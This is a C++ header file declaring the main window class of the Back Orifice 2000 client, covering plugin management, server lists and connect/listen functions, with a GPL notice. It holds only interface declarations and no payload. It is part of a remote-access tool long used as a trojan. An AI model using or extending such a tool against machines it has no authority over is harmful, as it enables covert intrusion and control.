www.pudn.com > 2004032722451329676.rar > MainFrm.h
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
// MainFrm.h : interface of the CMainFrame class
//
/////////////////////////////////////////////////////////////////////////////
#if !defined(AFX_MAINFRM_H__720D769D_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)
#define AFX_MAINFRM_H__720D769D_A7E5_11D2_ADC4_0000F8084273__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include"ServerList.h"
#include"plugins.h"
#include"BODialogBar.h"
#include"GoodMenuBar.h"
#include"trayicon.h"
typedef struct {
TYPEOF_ClientMenu *pProc;
int nId;
} PLUGINMENUITEM;
#include
typedef struct {
BYTE *pPluginImage;
DWORD dwPluginLen;
char svFilename[MAX_PATH+1];
char svDescription[256];
WORD wVersionLo;
WORD wVersionHi;
WORD wBOVersionLo;
WORD wBOVersionHi;
} PLUGIN_INFO;
typedef struct {
int nPlugin;
DWORD dwPos;
char VarType; // B, N, S
int nNumLo;
int nNumHi;
int nStrLen;
char svVarValue[256];
char svVarName[256];
char svCategory[256];
} VARIABLE_INFO;
class CMainFrame : public CCJFrameWnd
{
protected: // create from serialization only
CMainFrame();
DECLARE_DYNCREATE(CMainFrame)
// CTrayIcon *m_pTrayIcon;
// BOOL m_bSysTray;
BOOL m_bGradients;
BOOL m_bScreenReader;
CArray m_arrPluginMenuItems;
// Attributes
public:
CServerList *m_pWndServerList;
CArray m_arrPluginInfo;
CArray m_arrVarInfo;
// Operations
public:
int RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc);
int UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName);
int InitializePlugins();
int TerminatePlugins();
int AddPlugin(CString strPath);
int RemovePlugin(int nPlugin);
void AddVariables(char *pBuffer, DWORD dwLen, int nPlugin);
int SavePluginConfig(int nNum);
int LoadPluginConfig(int nNum);
int InitializeToolbars();
int InitializeDockingWindows();
int DoDialogModal(CDialog *dlg);
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CMainFrame)
public:
virtual BOOL DestroyWindow();
protected:
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG *pMsg);
//}}AFX_VIRTUAL
// Implementation
public:
virtual ~CMainFrame();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected:
// control bar embedded members
CCoolMenuManager m_menuManager;
CGoodMenuBar m_menuBar;
CCJToolBar m_wndTBMain;
CStatusBar m_wndStatusBar;
CBODialogBar m_wndServerListBDB;
// Generated message map functions
protected:
//{{AFX_MSG(CMainFrame)
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnServerlist();
afx_msg void OnUpdateServerlist(CCmdUI* pCmdUI);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnPlugins();
afx_msg void OnGradients();
afx_msg void OnUpdateGradients(CCmdUI* pCmdUI);
afx_msg void OnMenuType();
afx_msg void OnUpdateMenuType(CCmdUI* pCmdUI);
afx_msg void OnServerNew();
afx_msg void OnUpdateServerNew(CCmdUI* pCmdUI);
afx_msg void OnServerEdit();
afx_msg void OnUpdateServerEdit(CCmdUI* pCmdUI);
afx_msg void OnServerDelete();
afx_msg void OnUpdateServerDelete(CCmdUI* pCmdUI);
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg void OnSysTray();
afx_msg void OnUpdateSysTray(CCmdUI* pCmdUI);
// afx_msg LRESULT OnTrayNotification(WPARAM uID, LPARAM lEvent);
afx_msg void OnPluginMenu(UINT nID);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
extern CIOHandler *g_pIOHandler;
extern CEncryptionHandler *g_pEncryptionHandler;
extern CAuthHandler *g_pAuthHandler;
extern int RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc);
extern int UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName);
extern int InteractiveConnect(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);
extern int InteractiveListen(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_MAINFRM_H__720D769D_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)